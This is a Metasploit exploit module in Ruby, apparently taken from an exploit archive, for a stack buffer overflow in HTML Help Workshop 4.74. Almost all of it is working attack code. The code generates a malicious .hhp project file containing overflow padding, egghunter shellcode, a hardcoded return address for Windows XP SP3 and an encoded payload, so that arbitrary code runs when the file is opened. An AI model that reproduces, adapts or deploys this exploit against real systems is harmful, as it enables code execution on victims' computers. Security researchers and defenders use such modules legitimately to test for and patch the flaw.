HTML Help Workshop 4.74 - '.hhp' Local Buffer Overflow (Metasploit)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a stack overflow in HTML Help Workshop 4.74
					By creating a specially crafted hhp file, an an attacker may be able
					to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'loneferret, original by Encrypt3d.M!nd' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10321' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'StackAdjustment' => -4800,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI  \x93\x1f\x40\x00
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 05 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  'Devil.hhp']),
				], self.class)

	end

	def exploit

		sploit = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53\x5D\x0D\x0A\x43\x6F\x6E\x74\x65"
		sploit << "\x6E\x74\x73\x20\x66\x69\x6C\x65\x3D\x41\x0D\x0A\x49\x6E\x64\x65\x78\x20\x66\x69\x6C\x65\x3D"
		sploit << "\x41" * 224
		sploit << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
		sploit << "\x42" * 24
		sploit << [target.ret].pack('V')
		sploit << "\x0d\x0a\x0d\x0a"
		sploit << "\x5B\x46\x49\x4C\x45\x53\x5D\x0D"
		sploit << "\x0d\x0a"
		sploit << "\x41" * 16
		sploit << "\x69\x72\x61\x71\x69\x72\x61\x71"
		sploit << payload.encoded
		sploit << "\x41" * 4000
 
		hhp = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(hhp)
	end

end